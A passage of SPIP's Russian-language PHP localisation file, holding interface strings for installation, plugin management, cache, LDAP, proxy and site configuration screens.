'info_titre' => 'Заголовок:',
'info_total' => 'всего:',
'info_tous_articles_en_redaction' => 'Все редактируемые статьи',
'info_tous_articles_presents' => 'Все статьи в этом разделе',
'info_tous_articles_refuses' => 'Все отклоненные статьи',
'info_tous_les' => 'каждый:',
'info_tous_redacteurs' => 'Объявление для всех редакторов',
'info_tout_site' => 'Весь сайт',
'info_tout_site2' => 'Статья не была переведена на этот язык.',
'info_tout_site3' => 'Статья была переведена на этот язык, но с тех пор в оригинал внесли изменения. Необходимо обновить перевод.',
'info_tout_site4' => 'Статья была переведена на этот язык, и перевод современен.',
'info_tout_site5' => 'Исходная статья.',
'info_tout_site6' => '<b>Предупреждение:</b> отображаются только исходные статьи.
Переводы связанные с оригиналом,
в цвете указывающем на их статус:в цвете, указывающем их статус:',
'info_traductions' => 'Переводы',
'info_travail_colaboratif' => 'Совместная работа над статьями',
'info_un_article' => 'статья,',
'info_un_site' => 'сайт,',
'info_une_rubrique' => 'раздел,',
'info_une_rubrique_02' => '1 раздел',
'info_url' => 'Адрес:',
'info_url_proxy' => 'URL прокси',
'info_url_site' => 'АДРЕС САЙТА:',
'info_url_test_proxy' => 'URL для проверки',
'info_urlref' => 'Гиперссылка:',
'info_utilisation_spip' => 'SPIP готов к работе',
'info_visites_par_mois' => 'Ежемесячный показ:',
'info_visiteur_1' => 'Посетитель',
'info_visiteur_2' => 'из основной части сайта',
'info_visiteurs' => 'Посетители',
'info_visiteurs_02' => 'Посетители основной части сайта',
'info_webmestre_forces' => 'Список вебмастеров содержится в <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Адрес сервера базы данных вы можете узнать у своего хостера',
'install_base_ok' => 'База @base@ была распознана',
'install_connect_ok' => 'Была объявлена новая база на сервере @connect@.',
'install_echec_annonce' => 'Эта установка вероятно не будет работать, или приведет к неустойчивой работе сайта...',
'install_extension_mbstring' => 'SPIP не работает с:',
'install_extension_php_obligatoire' => 'SPIP требует php расширений:',
'install_login_base_hebergeur' => 'Логин определяется поставщиком услуг',
'install_nom_base_hebergeur' => 'Имя базы данных определяется поставщиком услуг:',
'install_pas_table' => 'В базе данных еще нет таблиц',
'install_pass_base_hebergeur' => 'Вы можете установить пароль через контрольную панель хостинга или запросить его в службе поддержки вашего хостинга.',
'install_php_version' => 'Версия PHP @version@ слишком старая (минимум = @minimum@)',
'install_select_langue' => 'Выберите язык, потом нажмите на кнопку "далее", чтобы начать процедуру установки.',
'install_select_type_db' => 'Укажите тип базы данных:',
'install_select_type_mysql' => 'MySQL',
'install_select_type_mysqli' => 'MySQLi',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Сервер базы данных определяется поставщиком услуг',
'install_table_prefix_hebergeur' => 'Префикс таблицы базы данных:',
'install_tables_base' => 'Таблицы баз данных',
'install_types_db_connus' => 'SPIP работает с <b>MySQL</b> и <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'Поддержка PostgreSQL пока на экспериментальном уровне. ',
'instituer_erreur_statut_a_change' => 'Статус уже был изменен',
'instituer_erreur_statut_non_autorise' => 'Вы не можете выбрать этот статус',
'intem_redacteur' => 'редактор',
'intitule_licence' => 'Разрешение',
'item_accepter_inscriptions' => 'Позволить регистрацию',
'item_activer_messages_avertissement' => 'Предупреждать о совместной работе',
'item_administrateur_2' => 'администратор',
'item_afficher_calendrier' => 'Показывать в календаре',
'item_autoriser_documents_joints' => 'Разрешить прикреплять документы к статьям',
'item_autoriser_documents_joints_rubriques' => 'Разрешить документы в разделах',
'item_autoriser_syndication_integrale' => 'Включать целые статьи в объединенные файлы ',
'item_choix_administrateurs' => 'администраторы',
'item_choix_generation_miniature' => 'Создавать уменьшенные копии автоматически.',
'item_choix_non_generation_miniature' => 'Не создавать уменьшенные копии.',
'item_choix_redacteurs' => 'редакторы',
'item_choix_visiteurs' => 'посетители сайта',
'item_creer_fichiers_authent' => 'Создать .htpasswd файлы',
'item_limiter_recherche' => 'Ограничить поиск информации, содержащейся на Вашем сайте',
'item_login' => 'Логин',
'item_messagerie_agenda' => 'Включить систему обмена сообщениями и календарь',
'item_mots_cles_association_articles' => 'статьи',
'item_mots_cles_association_rubriques' => 'разделы',
'item_mots_cles_association_sites' => 'сослаться или объединить сайты.',
'item_non' => 'Нет',
'item_non_accepter_inscriptions' => 'Не разрешать регистрацию',
'item_non_activer_messages_avertissement' => 'НЕ предупреждать о совместной работе',
'item_non_afficher_calendrier' => 'Не показывать календарь',
'item_non_autoriser_documents_joints' => 'Запретить добавление файлов к статьям',
'item_non_autoriser_documents_joints_rubriques' => 'Не разрешать документов в разделах',
'item_non_autoriser_syndication_integrale' => 'Отправка только краткого изложения',
'item_non_compresseur' => 'Отключить сжатие',
'item_non_creer_fichiers_authent' => 'Не создавать эти файлы',
'item_non_gerer_statistiques' => 'Не вести статистику',
'item_non_limiter_recherche' => 'Расширить поиск до содержания сайтов, на которые ссылаются',
'item_non_messagerie_agenda' => 'Отключить систему обмена сообщениями и календарь',
'item_non_publier_articles' => 'Публиковать статьи только после указанной даты публикации.',
'item_non_utiliser_moteur_recherche' => 'Не использовать систему',
'item_nouvel_auteur' => 'Новый автор',
'item_nouvelle_rubrique' => 'Новый раздел',
'item_oui' => 'Да',
'item_publier_articles' => 'Немедленно публиковать статьи, вне зависимости от даты публикации',
'item_reponse_article' => 'Ответить на статью',
'item_utiliser_moteur_recherche' => 'Использовать поисковую систему',
'item_version_html_max_html4' => 'Использовать только HTML4 на сайте',
'item_version_html_max_html5' => 'Разрешить HTML5',
'item_visiteur' => 'посетитель',
// J
'jour_non_connu_nc' => 'неизвестный',
// L
'label_bando_outils' => 'Панель инструментов',
'label_bando_outils_afficher' => 'Показать инструменты',
'label_bando_outils_masquer' => 'Спрятать инструменты',
'label_choix_langue' => 'Язык интерфейса',
'label_nom_fichier_connect' => 'Отображать имя сервера',
'label_slogan_site' => 'Слоган сайта',
'label_taille_ecran' => 'Ширина рабочей области',
'label_texte_et_icones_navigation' => 'Главное меню',
'label_texte_et_icones_page' => 'Отображение страницы',
'ldap_correspondance' => 'наследовать поле @champ@',
'ldap_correspondance_1' => 'Наследовать поля LDAP',
'ldap_correspondance_2' => 'Укажите соответствующей LDAP поле для каждого из данных полей. Оставьте их пустыми, если вы не хотите, что бы они заполнялись. Несколько LDAP полей разделяются пробелом или запятой.',
'lien_ajout_destinataire' => 'Добавить этого получателя',
'lien_ajouter_auteur' => 'Добавить этого автора',
'lien_ajouter_participant' => 'Добавить участника',
'lien_ajouter_une_rubrique' => 'Добавить раздел',
'lien_email' => 'Электронная почта',
'lien_nom_site' => 'НАЗВАНИЕ САЙТА:',
'lien_retirer_auteur' => 'Убрать автора',
'lien_retirer_rubrique' => 'Убрать раздел',
'lien_retirer_tous_auteurs' => 'Убрать всех авторов',
'lien_retirer_toutes_rubriques' => 'Убрать все разделы',
'lien_retrait_particpant' => 'удалить этого участника',
'lien_site' => 'сайт',
'lien_supprimer_rubrique' => 'удалить этот раздел',
'lien_tout_deplier' => 'Развернуть все ',
'lien_tout_replier' => 'Свернуть все',
'lien_tout_supprimer' => 'Удалить все',
'lien_trier_nom' => 'Сортировать по имени',
'lien_trier_nombre_articles' => 'Сортировать по номерам статей',
'lien_trier_statut' => 'Сортировать по статусу',
'lien_voir_en_ligne' => 'ПРОСМОТР ОНЛАЙН:',
'logo_article' => 'ЛОГОТИП СТАТЬИ',
'logo_auteur' => 'ЛОГОТИП АВТОРА',
'logo_rubrique' => 'ЛОГОТИП РАЗДЕЛА',
'logo_site' => 'ЛОГОТИП САЙТА',
'logo_standard_rubrique' => 'Стандартный логотип раздела',
'logo_survol' => 'ПРИ НАВЕДЕНИИ МЫШКИ',
// M
'menu_aide_installation_choix_base' => 'Выберите вашу базу данных',
'module_fichier_langue' => 'Языковой файл',
'module_raccourci' => 'Ярлык',
'module_texte_affiche' => 'Показанный текст',
'module_texte_explicatif' => 'Вы можете вставить следующие ярлыки в шаблон Вашего сайта. Они будут автоматически переведены на разные языки, для которых существует языковой файл.',
'module_texte_traduction' => 'Языковой файл « @модуль » является доступным в:',
'mois_non_connu' => 'неизвестный',
// N
'nouvelle_version_spip' => 'Доступна новая версия SPIP @version@ ',
// O
'onglet_contenu' => 'Содержания',
'onglet_declarer_une_autre_base' => 'Объявить другую базу данных',
'onglet_discuter' => 'Обсудить',
'onglet_documents' => 'Документы',
'onglet_interactivite' => 'Интерактивность',
'onglet_proprietes' => 'Свойства',
'onglet_repartition_actuelle' => 'сейчас',
'onglet_sous_rubriques' => 'Подразделы',
// P
'page_pas_proxy' => 'Эта страница не должна проходить через прокси',
'pas_de_proxy_pour' => 'Если необходимо, укажите для каких компьютеров или доменов не следует применять прокси (например: @exemple@) ',
'plugin_charge_paquet' => 'Загрузка архива файла @имя@',
'plugin_charger' => 'Скачать',
'plugin_erreur_charger' => 'ошибка: невозможно загрузить @zip@',
'plugin_erreur_droit1' => 'Нет прав для записи в папку <code>@dest@</code>.',
'plugin_erreur_droit2' => 'Пожалуйста, проверьте права на запись для этой папки (и при необходимости создайте ее). Или перепишите файлы по FTP.',
'plugin_erreur_zip' => 'pclzip сбой: ошибка @status@',
'plugin_etat_developpement' => 'в разработке',
'plugin_etat_experimental' => 'экспериментальный',
'plugin_etat_stable' => 'стабильный',
'plugin_etat_test' => 'тестируется',
'plugin_impossible_activer' => 'Невозможно включить плагин @plugin@',
'plugin_info_automatique1' => 'Для того, что бы разрешить автоматическую установку плагинов:',
'plugin_info_automatique1_lib' => 'Если вы хотите разрешить автоматическую установку этой библиотеки, то:',
'plugin_info_automatique2' => 'Создать папку <code>@rep@</code> ;',
'plugin_info_automatique3' => 'Установите права доступа на каталог (755 или 777).',
'plugin_info_automatique_creer' => 'для создания в корне вебсайта.',
'plugin_info_automatique_exemples' => 'Официальные RSS листы с плагинами:',
'plugin_info_automatique_ftp' => 'Вы можете установить плагины по FTP в каталог <tt>@rep@</tt> ',
'plugin_info_automatique_lib' => 'Некоторые плагины должны иметь возможность загружать файлы в каталог <code>lib/</code>. Возможно ее необходимо создать самостоятельно.',
'plugin_info_automatique_liste' => 'Ваши плагины:',
'plugin_info_automatique_liste_officielle' => 'официальные плагины',
'plugin_info_automatique_liste_update' => 'Обновить списки',
'plugin_info_automatique_ou' => 'или...',
'plugin_info_automatique_select' => 'Выберите плагин, SPIP скачает и установит его в каталог <code>@rep@</code>.Если плагин уже установлен существует, он будет обновлен.',
'plugin_info_credit' => 'Авторская информация',
'plugin_info_erreur_xml' => 'Неправильная декларация плагина',
'plugin_info_install_ok' => 'Установка прошла успешно',
'plugin_info_necessite' => 'Необходимо:',
'plugin_info_non_compatible_spip' => 'Плагин не совместим с текущей версией SPIP',
'plugin_info_plugins_dist_1' => 'Эти плагины загружены и установлены в папке @plugins_dist@.',
'plugin_info_plugins_dist_2' => 'Их нельзя отключить.',
'plugin_info_telecharger' => 'загрузите с @url@ и установить в @rep@',
'plugin_info_upgrade_ok' => 'Обновление прошло успешно',
'plugin_librairies_installees' => 'Установленные библиотеки',
'plugin_necessite_lib' => 'Для этого плагина необходима библиотека @lib@',
'plugin_necessite_plugin' => 'Для этого плагина необходим @plugin@ @version@ или новее.',
'plugin_necessite_plugin_sans_version' => 'Требуется плагин @plugin@',
'plugin_necessite_spip' => 'Для этого плагина требуется SPIP @version@ или новее.',
'plugin_source' => 'источник: ',
'plugin_titre_automatique' => 'Автоматическая установка',
'plugin_titre_automatique_ajouter' => 'Добавить плагин',
'plugin_titre_installation' => 'Установить плагин @plugin@ ',
'plugin_titre_modifier' => 'Мои плагины',
'plugin_zip_active' => 'Продолжить для активации',
'plugin_zip_adresse' => 'Укажите ссылку на zip файла плагина для скачки, либо адрес RSS листа плагинов.',
'plugin_zip_adresse_champ' => 'URL плагина (zip file) или RSS листа ',
'plugin_zip_content' => 'Он содержит следующие файлы(@taille@),<br />готовые к установке в каталоге <code>@rep@</code>',
'plugin_zip_installe_finie' => 'Файл @zip@ был распакован и установлен.',
'plugin_zip_installe_rep_finie' => 'Файл @zip@ был распакован и установлен в каталоге @rep@ ',
'plugin_zip_installer' => 'Теперь Вы можете установить.',
'plugin_zip_telecharge' => 'Файл @zip@ был скачан',
'plugins_actif_aucun' => 'Нет включенных плагинов.',
'plugins_actif_un' => 'Включен один плагин',
'plugins_actifs' => '@count@ плагинов включено.',
'plugins_actifs_liste' => 'Включенные ',
'plugins_compte' => '@count@ плагины',
'plugins_disponible_un' => 'Доступен один плагин',
'plugins_disponibles' => '@count@ доступно плагинов.',
'plugins_erreur' => 'Ошибка в плагинах: @plugins@',
'plugins_liste' => 'Установленные плагины',
'plugins_liste_dist' => 'Защищенные плагины',
'plugins_recents' => 'Последние плагины',
'plugins_tous_liste' => 'Все',
'plugins_vue_hierarchie' => 'Иерархия',
'plugins_vue_liste' => 'Список',
'protocole_ldap' => 'Версия протокола:',
// Q
'queue_executer_maintenant' => 'Запустить',
'queue_info_purger' => 'Вы можете удалить все текущие задачи и обнулить всю очередь задач',
'queue_nb_jobs_in_queue' => 'В очереди @nb@ задач',
'queue_next_job_in_nb_sec' => 'Следующая задача через @nb@ s',
'queue_no_job_in_queue' => 'Список задач пуст',
'queue_one_job_in_queue' => '1 задача в очереди',
'queue_purger_queue' => 'Очистить список задач',
'queue_titre' => 'Список задач',
// R
'repertoire_plugins' => 'Папка:',
// S
'sans_heure' => 'время неопределено',
'statut_admin_restreint' => '(ограниченный администратор)', # MODIF
// T
'tache_cron_asap' => 'CRON @function@ (ASAP)',
'tache_cron_secondes' => 'CRON @function@ (каждые @nb@ с)',
'taille_cache_image' => 'Кэш файлов изображений ( автоматически пережатые картинки, изображения формул и текста, трасформированного в графику) занимает @taille@ в каталоге @dir@.',
'taille_cache_infinie' => 'На вашем сайте нет ограничений на размер кэша.',
'taille_cache_maxi' => 'Заданный максимальный размер файлов кэша составляет приблизительно <b> @octets@ </b>.',
'taille_cache_moins_de' => 'Размер кеша меньше @octets@.',
'taille_cache_octets' => 'Приблизительный размер кеша @octets@.',
'taille_cache_vide' => 'Кэш пуст.',
'taille_repertoire_cache' => 'Текущий размер кэша',
'text_article_propose_publication' => 'Статья отправлена на утверждение администратору.',
'texte_acces_ldap_anonyme_1' => 'Некоторые серверы LDAP не позволяют анонимного доступа. В этом случае Вы должны указать исходный идентификатор доступа, чтобы впоследствии иметь возможность искать информацию в каталоге. Однако, в большинстве случаев следующие поля можно оставить пустыми.',
'texte_admin_effacer_01' => 'Эта команда удаляет <i> все </i> содержание базы данных,
включая <i> все </i> параметры доступа для редакторов и администраторов. После выполнения этого, Вы должны
переустановить SPIP, чтобы восстановить новую базу данных и доступ первого администратора.',
'texte_adresse_annuaire_1' => '( Если Ваш каталог установлен на том же компьютере, что Ваш вебсайт, это вероятно «локальный хост».)',
'texte_ajout_auteur' => 'Следующий автор был добавлен к статье:',
'texte_annuaire_ldap_1' => 'Если Вы имеете доступ к каталогу(LDAP), Вы можете использовать его, для автоматического импорта пользователей под SPIP.',
'texte_article_statut' => 'Статус статьи:',
'texte_article_virtuel' => 'Виртуальная статья',
'texte_article_virtuel_reference' => '<b>Виртуальная статья:</b> статья, на которую ссылаются, в Вашем SPIP сайте, но переадресованная на другой адрес. Чтобы удалить перенаправление, удалите вышеупомянутый адрес.',
'texte_aucun_resultat_auteur' => 'Нет результатов для "@cherche_auteur@".',
'texte_auteur_messagerie' => 'Этот сайт может постоянно контролировать список редакторов,находящихся он-лайн, который позволяет Вам обмениваться сообщениями в реальном времени. Вы можете решить не появляться в этом списке (тогда Вы будете "невидимыми" для других пользователей).',
'texte_auteur_messagerie_1' => 'Этот сайт позволяет обмениваться сообщениями и создавать административные форумы обсуждения между участниками сайта. Вы можете решить не участвовать в этом обмене.',
'texte_auteurs' => 'АВТОРА',
'texte_choix_base_1' => 'Выбрать Вашу базу данных:',
'texte_choix_base_2' => 'SQL сервер содержит несколько баз данных.',
'texte_choix_base_3' => '<b>Выберите</b> ниже ту, которую Ваш интернет провайдер может отнести к Вам:',
'texte_choix_table_prefix' => 'Префикс для таблиц БД:',
'texte_commande_vider_tables_indexation' => 'Использовать эту команду для очистки индексации таблиц
с помощью поисковой системы, интегрированной в SPIP. Это позволит Вам
освободить немного места на диске.',
'texte_compatibilite_html' => 'Вы можете установить настройки SPIP так, что бы он генерировал код, совместимый с <i>HTML4</i>, или же с поддержкой <i>HTML5</i>.',
'texte_compatibilite_html_attention' => 'В случае включения поддержки <i>HTML5</i> проблемы не ожидаются, но в этом случае необходимо добавить следующую строку кода на все страницы сайта: <code><!DOCTYPE html></code>.',
'texte_compresse_ou_non' => '(файл может быть архивом)',
'texte_compte_element' => '@count@ элемент',
'texte_compte_elements' => '@count@ элементы',
'texte_conflit_edition_correction' => 'Пожалуйста, проверьте ниже разницу между двумя версиями. Таким образом Вы можете копировать Ваши изменения и начать заново.',
'texte_connexion_mysql' => 'Параметры доступа к базе данных задаются в контрольной панели хостинга. Если у вас нет возможности управлять вашими базами данных вы можете запросить помощь в службе поддержки хостинга.',
'texte_contenu_article' => '(Краткое содержание статьи.)',
'texte_contenu_articles' => 'Выбрать дополнительные информационные поля для статей. В зависимости от того, как запрограммирован ваш сайт они могут отображаться или не отображаться в общем доступе. ',
'texte_crash_base' => 'Если Ваша
база данных повреждена, Вы можете попробовать восстановить ее
автоматически.',
'texte_creer_rubrique' => 'Создайте хотя бы один раздел, для того, что бы писать статьи.<br />',
'texte_date_creation_article' => 'ДАТА СОЗДАНИЯ СТАТЬИ:',
'texte_date_creation_objet' => 'Дата создания :', # on ajoute le ":"
'texte_date_publication_anterieure' => 'Дополнительная дата:',
'texte_date_publication_anterieure_nonaffichee' => 'Скрыть дату более ранней публикации.',
'texte_date_publication_article' => 'ДАТА ОНЛАЙН ПУБЛИКАЦИИ:',
'texte_date_publication_objet' => 'Дата публикации :',
'texte_descriptif_petition' => 'Описание комментария',
'texte_descriptif_rapide' => 'Краткое описание',
'texte_effacer_base' => 'Удалить базу данных SPIP',
'texte_effacer_donnees_indexation' => 'Удалить индексацию данных',
'texte_effacer_statistiques' => 'Удалить статистику',
'texte_en_cours_validation' => 'Материалы, требующие проверки. ',
'texte_enrichir_mise_a_jour' => '<!—Вы можете улучшить свой текст, используя «типографические ярлыки»—>',
'texte_fichier_authent' => '<b>Должен ли SPIP создавать <tt> .htpasswd </tt>
и <tt> .htpasswd-admin </tt> файлы в папке @dossier@? </b> <p>
Эти файлы используются для ограничения доступа авторов и администраторов
к другим частям сайта (например, к папке с серверной статистикой). </p>
<p>Если у вас нет необходимости в таких действиях, то оставьте это значение по умолчанию.</p>', # MODIF
'texte_informations_personnelles_1' => 'Теперь система создаст вашу учетную запись на сайте.',
'texte_informations_personnelles_2' => '(Примечание: если вы переустанавливаете SPIP и ваш старый логин и пароль все еще работает, вы можете',
'texte_introductif_article' => '(Вступительный текст к статье)',
'texte_jeu_caractere' => 'Рекомендуется использовать кодировку (<tt>utf-8</tt>) на Вашем сайте. Это сделает возможным отображать текст на любом языке. ',
'texte_jeu_caractere_2' => 'Этот параметр не будет преобразовывать текст, который был сохранен в базе данных.',
'texte_jeu_caractere_3' => 'Текущая кодировка:',
'texte_jeu_caractere_4' => 'Если это не соответствует ситуации, которую Вы имеете с данными (например, после восстановления базы данных с резервной копии), или если <em>Вы создаете этот сайт</em> и хотите использовать разные наборы символов, пожалуйста, укажите набор символов здесь:',
'texte_jeu_caractere_conversion' => 'Примечание: Вы можете решить преобразовать все тексты (статьи, новости, форумы, и т.д.) Вашего сайта и для всех наборов символов <tt>utf-8</tt>. Чтобы сделать это, перейдите на <a href="@url@">страницу конвертации в UTF-8 </a>.',
'texte_lien_hypertexte' => '(Если ваше сообщение обращается к статье, опубликованной в сети, или к странице, обеспечивающей больше информации, пожалуйста введите здесь название страницы и ее адрес.)',
'texte_login_ldap_1' => '(Держите пустым для анонимного доступа или войдите в полную дорожку, например «<tt> uid=smith, ou=users, dc=my-domain, dc=com </tt>».)',
'texte_login_precaution' => 'Внимание! Это ваш текущий логин на сайте, меняйте вдумчиво.',
'texte_message_edit' => 'Предупреждение: это сообщение увидят все редакторы. Используйте объявления только для важных событий в жизни сайта.',
'texte_messagerie_agenda' => 'Система отправки сообщений позволяет авторам сайта общаться непосредственно в редакторской части сайта. Она связана с календарем.',
'texte_mise_a_niveau_base_1' => 'Вы только что обновили файлы SPIP
Теперь Вы должны обновить
базу данных сайта.',
'texte_modifier_article' => 'Изменить статью:',
'texte_moteur_recherche_active' => '<b>Поисковая система включена. </b> используйте эту команду
если Вы желаете выполнить быструю переиндексацию (после восстановления
резервной копи, например). Вы должны отметить, что документы изменены в
обычном порядке (от интерфейса SPIP) - автоматически
индексированы снова: поэтому эта команда полезна только в особых случаях.',
'texte_moteur_recherche_non_active' => 'Поисковая система не включена.',
'texte_multilinguisme' => 'Если на сайте будут размещаться материалы на нескольких языках, вы можете добавить "меню выбора языка" для этих материалов.',
'texte_multilinguisme_trad' => 'Так же вы можете разрешить объединять разные переводы одного и того же материала. ',
'texte_non_compresse' => '<i>распаковать</i> (Ваш сервер не поддерживает эту функцию)',
'texte_nouveau_message' => 'Новое сообщение',
'texte_nouvelle_version_spip_1' => 'Вы только что установили новую версию SPIP.',
'texte_nouvelle_version_spip_2' => 'Что бы обновить сайт до новой версии, то если Вы вебмастер этого сайта, пожалуйста удалите файл @connect@, и повторно начните установку для того, что бы обновить настройки подключения к базе данных.<p>(NB.: если Вы забыли свои параметры соединения, то они хранятся в файле @connect@ </p>',
'texte_operation_echec' => 'Вернитесь к предыдущей странице, выберите другую базу данных или создайте новую. Проверьте информацию, предоставленную Вашим хостом.',
'texte_plus_trois_car' => 'более 3 сомволов',
'texte_plusieurs_articles' => 'Несколько авторов были найдены для "@cherche_auteur@":',
'texte_port_annuaire' => '(Значение по умолчанию является подходящим.)',
'texte_presente_plugin' => 'На этой странице перечень плагинов, доступных на вашем сайте. Включите плагин, отметив соответствующий квадратик.',
'texte_proposer_publication' => 'Когда Ваша статья закончена, <br />, Вы можете представить ее для публикации.',
'texte_proxy' => 'В некоторых случаях (внутренний интернет, защищенные сети ...),
необходимо использовать <i> HTTP прокси</i>, чтобы добраться до внешней части сайтов (SPIP документация, объединенные сайты и т. д.).
В этом случае, введите его адрес ниже в форму
<tt> <html> http: // proxy:8080 </HTML> </tt>. В большинстве случаев Вы можете оставить это поле пустым.',
'texte_publication_articles_post_dates' => 'Когда публиковать статьи с датой публикации в будущем?',
'texte_rappel_selection_champs' => '[Не забудьте правильно выбрать поле.]',
'texte_recalcul_page' => 'Если Вы хотите
обновить только одну страницу, Вы можете сделать это с основной части, используя кнопку, "обновить".',
'texte_recapitiule_liste_documents' => 'Эта страница содержит в себе список документов, которые Вы поместили в разделе. Чтобы изменить информацию каждого документа, следуйте ссылке на страницу соответствующего раздела.',
'texte_recuperer_base' => 'Востановить базу данных',
'texte_reference_mais_redirige' => 'ссылка на статью Вашего SPIP сайта, но переадресована на другой адрес.',
'texte_requetes_echouent' => '<b>В случае, если при выполнении SQL запросов часто появляются сообщения об ошибках, вполне возможно что повреждена сама база данных. </b>
<p>В SQL встроенна функция ремонта и восстановления поврежденных таблиц. Вы можете попробовать выполнить процедуру восстановления или ремонта сейчас.</p>
',
'texte_selection_langue_principale' => 'Вы можете выбрать "главный язык" сайта. Он задаёт:
<ul> <li>формат вывода даты по умолчанию </li>
<li> язык, используемый по умолчанию на сайте </li>
<li> язык ,по умолчанию, для административной части. </li> </ul>',
'texte_sous_titre' => 'Подзаголовок',
'texte_statistiques_visites' => '(темные штрихи: воскресенье / темная кривая: средний уровень)',
'texte_statut_attente_validation' => 'в ожидании утверждения',
'texte_statut_publies' => 'опубликованы на сайте',
'texte_statut_refuses' => 'отклонено',
'texte_suppression_fichiers' => 'Используйте команду для удаления всех файлов из кэша SPIP. Это позволит обновить все страницы сайта. Это очень удобно если вы изменили шаблоны или обновили значительное количество информации на сайте.',
'texte_sur_titre' => 'Главное название',
'texte_table_ok' => ': Эта таблица готова.',
'texte_tables_indexation_vides' => 'Индексированные таблицы системы пусты.',
'texte_tentative_recuperation' => 'Попытка восстановления ',
'texte_tenter_reparation' => 'Попытка восстановления базы данных',
'texte_test_proxy' => 'Чтобы попробовать прокси, введите здесь адрес
вебсайта, который Вы хотите проверить.',
'texte_titre_02' => 'Предмет:',
'texte_titre_obligatoire' => '<b>Название</b> [обязательно]',
'texte_travail_article' => '@nom_auteur_modif@ работал над этой статьей @date_diff@ минут назад',
'texte_travail_collaboratif' => 'Если несколько авторов редактируют одну и ту же статью, то система отмечает ее как "в работе" и ограничивает доступ к ней, что бы избежать потери информации в следствии одновременного редактирования материала. По умолчанию эта возможность отключена.',
'texte_trop_resultats_auteurs' => 'Слишком много результатов для "@cherche_auteur"; пожалуйста очистите поиск',
'texte_unpack' => 'скачать последнюю версию',
'texte_utilisation_moteur_syndiques' => 'Когда Вы используете поисковую систему SPIP, Вы можете выполнить поиск по сайтам и статьям, объединенных двумя разными способами. <br /> <img src =’puce.gif’> Самый простой заключается в том, чтобы искать только в названиях и описаниях статей. <br /> <img src =’puce.gif’> Второй способ, намного сильнее, позволяет SPIP искать также в текстах ссылочных сайтов. Если Вы ссылаетесь на сайт, то SPIP выполнит поиск непосредственно в тексте сайта.',
'texte_utilisation_moteur_syndiques_2' => 'Этот метод способствует тому, что SPIP регулярно посещает ссылочные сайты, которые могут привести к снижению эффективности работы Вашего собственного сайта.',
'texte_vide' => 'очистить',
'texte_vider_cache' => 'Очистить кэш',
'titre_admin_effacer' => 'Техническое обслуживание',
'titre_admin_tech' => 'Техническое обслуживание',
'titre_admin_vider' => 'Техническое обслуживание',
'titre_ajouter_un_auteur' => 'Добавить автора',
'titre_ajouter_un_mot' => 'Добавить ключ',
'titre_ajouter_une_rubrique' => 'Добавить раздел',
'titre_cadre_afficher_article' => 'Показать статьи:',
'titre_cadre_afficher_traductions' => 'Показать состояние перевода для следующих языков:',
'titre_cadre_ajouter_auteur' => 'ДОБАВИТЬ АВТОРА:',
'titre_cadre_interieur_rubrique' => 'В разделе',
'titre_cadre_numero_auteur' => 'Номер АВТОРА',
'titre_cadre_numero_objet' => '@objet@ НОМЕР:',
'titre_cadre_signature_obligatoire' => '<b>Подпись</b> [Обязательно]<br />',
'titre_config_contenu_notifications' => 'Уведомления',
'titre_config_contenu_prive' => 'В редакторской части',
'titre_config_contenu_public' => 'В основном сайте',
'titre_config_fonctions' => 'Настройка сайта',
'titre_config_langage' => 'Выбор языка интерфейса',
'titre_configuration' => 'Настройка сайта',
'titre_configurer_preferences' => 'Изменить настройки',
'titre_conflit_edition' => 'Противоречие в процессе изменения',
'titre_connexion_ldap' => 'Опции: <b>Ваше LDAP соединение</b>',
'titre_groupe_mots' => 'ГРУППА КЛЮЧЕЙ:',
'titre_identite_site' => 'Информация о сайте',
'titre_langue_article' => 'Язык статьи',
'titre_langue_rubrique' => 'ЯЗЫК РАЗДЕЛА',
'titre_langue_trad_article' => 'ЯЗЫК СТАТЬИ И ПЕРЕВОДОВ',
'titre_les_articles' => 'СТАТЬИ',
'titre_messagerie_agenda' => 'Система обмена сообщениями и календарь',
'titre_naviguer_dans_le_site' => 'Просмотр сайта...',
'titre_nouvelle_rubrique' => 'Новый раздел',
'titre_numero_rubrique' => 'НОМЕР РАЗДЕЛА:',
'titre_page_admin_effacer' => 'Техническое обслуживание: удаление базы данных',
'titre_page_articles_edit' => 'Изменить: @titre@',
'titre_page_articles_page' => 'Статьи',
'titre_page_articles_tous' => 'Весь сайт',
'titre_page_auteurs' => 'Посетители',
'titre_page_calendrier' => 'Календарь @nom_mois@ @annee@',
'titre_page_config_contenu' => 'Настройка сайта',
'titre_page_config_fonctions' => 'Настройка сайта',
'titre_page_configuration' => 'Настройка сайта',
'titre_page_controle_petition' => 'Дополнительные комментарии',
'titre_page_delete_all' => 'полное и необратимое удаление',
'titre_page_documents_liste' => 'Прилагаемые документы',
'titre_page_index' => 'Ваша административная часть',
'titre_page_message_edit' => 'Написать сообщение',
'titre_page_messagerie' => 'Ваша передача сообщений',
'titre_page_recherche' => 'Результаты поиска @recherche@',
'titre_page_statistiques_referers' => 'Статистика (входящие ссылки)',
'titre_page_statistiques_signatures_jour' => 'Подсчет подписей за день',
'titre_page_statistiques_signatures_mois' => 'Подсчет подписей за месяц',
'titre_page_upgrade' => 'SPIP обновления',
'titre_publication_articles_post_dates' => 'Отложенная публикация статей',
'titre_referencer_site' => 'Ссылка на сайт:',
'titre_rendez_vous' => 'СРОКИ:',
'titre_reparation' => 'Восстановить',
'titre_suivi_petition' => 'Дополнительные комментарии',
'tls_ldap' => 'Transport Layer Security :',
'trad_article_inexistant' => 'Нет статьи с таким номером',
'trad_article_traduction' => 'Все версии этой статьи:',
'trad_deja_traduit' => 'Ошибка: невозможно связать эту статью с запрашиваемым номером.',
'trad_delier' => 'Удалить связь с этим переводом',
'trad_lier' => 'Эта статья является переводом статьи с номером:',
'trad_new' => 'Добавить новый перевод',
// U
'upload_info_mode_document' => 'Поместить это изображение в галерею',
'upload_info_mode_image' => 'Удалить это изображение с галереи',
'utf8_convert_attendez' => 'Подождите несколько секунд, а затем перезагрузите страницу.',
'utf8_convert_avertissement' => 'Вы собираетесь преобразовать содержание Вашей базы данных (новости, статьи и т. д.) с набора символов <b>@orig@</b> в набор символов <b>@charset@</b>.',
'utf8_convert_backup' => 'Не забудьте вначале сделать полную резервную копию Вашего сайта. Вам также нужно проверить, что Ваши шаблоны и языковые файлы совместимы с @charset@.',
'utf8_convert_erreur_deja' => 'Ваш сайт уже в @charset@, нет смысла в преобразовании.',
